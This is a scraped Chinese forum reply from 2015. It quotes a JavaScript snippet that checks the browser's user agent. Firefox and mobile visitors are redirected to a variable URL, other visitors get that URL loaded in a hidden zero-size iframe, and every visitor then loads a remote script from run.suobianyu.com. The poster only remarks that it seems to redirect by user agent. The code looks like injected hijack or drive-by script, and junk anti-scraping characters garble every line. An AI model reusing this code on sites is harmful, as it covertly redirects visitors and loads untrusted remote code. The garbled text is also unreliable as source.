|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
# v' a( F1 O- R" r' b8 ^- var ua = navigator.userAgent.toLowerCase(),. p! W) a% ]* U" H7 @0 `7 }
- browser = {
. J' X5 U7 ~( F2 \, Z - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],$ Q' o) o, P2 {' e
- opera: /opera/.test(ua),
( g. c% m% ^; Y9 _5 g3 p& o - maxthon: /maxthon/.test(ua),1 I) E+ T" O' V( z6 O
- theworld: /theworld/.test(ua),
& m1 ?0 S6 M& m' C+ q: M - qq: /qqbrowser/.test(ua),9 P2 H7 @! H* t! E9 W
- sogou: /se /.test(ua),
' {1 d$ G9 g! E - liebao: /liebao/.test(ua),
% I$ O: r6 J, B5 J5 L) {! } - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
. v& }; ^% v9 h' V/ G/ | - chrome: /chrome|crios/.test(ua),
2 U; Q+ a! `4 ?, ]# M, l$ s1 R - safari: /webkit/.test(ua),
, l* `7 |) c' c# U5 e0 V( s - uc: /ucbrowser/.test(ua),3 a( S6 C$ h- R
- ie: /msie/.test(ua) && !/opera/.test(ua)/ {6 r; A/ r% M+ u; t# y- Q) b5 h; s
- };
5 b& p0 d2 J& p" P0 J - var ver = browser.ver;
5 t" T6 t# M! _5 t( n - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {% t2 f! o" r$ E$ \/ }
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
x1 S4 {- h3 x% x: u+ Y( E - } else {9 u; U' E0 r) @ n/ A& Q1 a
- window.sc = "<iframe src=" + tourl + "></iframe>";
9 [; Y* x2 v# G8 r8 B - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");3 Y+ m; E6 r; H1 \+ U- [+ ] }
- }
) z) [( \, V: H5 ^& c7 S l - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
0 Y4 N" `+ j. D: k/ B5 @* O% G2 S) }- N, O( Y
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|